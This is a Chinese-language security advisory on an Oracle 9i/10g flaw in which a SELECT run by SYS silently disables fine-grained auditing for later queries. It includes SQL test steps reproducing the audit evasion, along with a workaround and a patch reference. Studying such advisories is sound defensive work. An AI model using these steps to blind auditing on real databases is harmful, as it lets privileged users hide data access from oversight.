|
发布日期:2005-05-08
更新日期:2005-05-08
受影响系统:
Oracle database server 9i
Oracle database server 10g
描述:Oracle是一款大型商用数据库软件。Oracle对于审记操作的访问逻辑实现上存在漏洞,攻击者可能利用来躲避审记。
如果SYS用户运行SELECT语句的话,就会禁用细粒度审计(FGA),不会审计SYS发布的SELECT语句。一旦SYS选择了表格的话,所有之后其他用户的SELECT都不会审计。这会导致FGA无法记录记录失效后的日志请求,误导数据库用户的安全理解。
测试方法:(警告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!)
1.创建用户和对象,添加策略
connect /as sysdba grant dba to fga identified by fga; conn fga/fga create table emp as select * from scott.emp; execute dbms_fga.add_policy(object_schema=>'FGA', object_name=>'EMP',policy_name=>'FGA_POLICY'); |
2.以fga用户运行SQL
conn fga/fga select count(*) from fga.emp; select sql_text,to_char(timestamp,'HH24:MI:SS') time from sys.dba_fga_audit_trail; |
--> 返回1行
3.以SYS用户运行SQL
conn /as sysdba select count(*) from fga.emp; select sql_text,to_char(timestamp,'HH24:MI:SS') time from sys.dba_fga_audit_trail; |
--> 返回第二步中得到的1行
没有插入新行
4.再次以fga用户运行SQL
conn fga/fga select count(*) from fga.emp; select sql_text,to_char(timestamp,'HH24:MI:SS') time from sys.dba_fga_audit_trail; |
--> 返回第二步中得到的1行
仍未插入新行
临时解决方法:如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁。
*不要以SYS用户运行FGA对象的SQL。刷新共享池或重启数据库以再次激活审计。
厂商补丁:目前Oracle已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载10.1.0.4补丁集:http://www.oracle.com。

OVER
|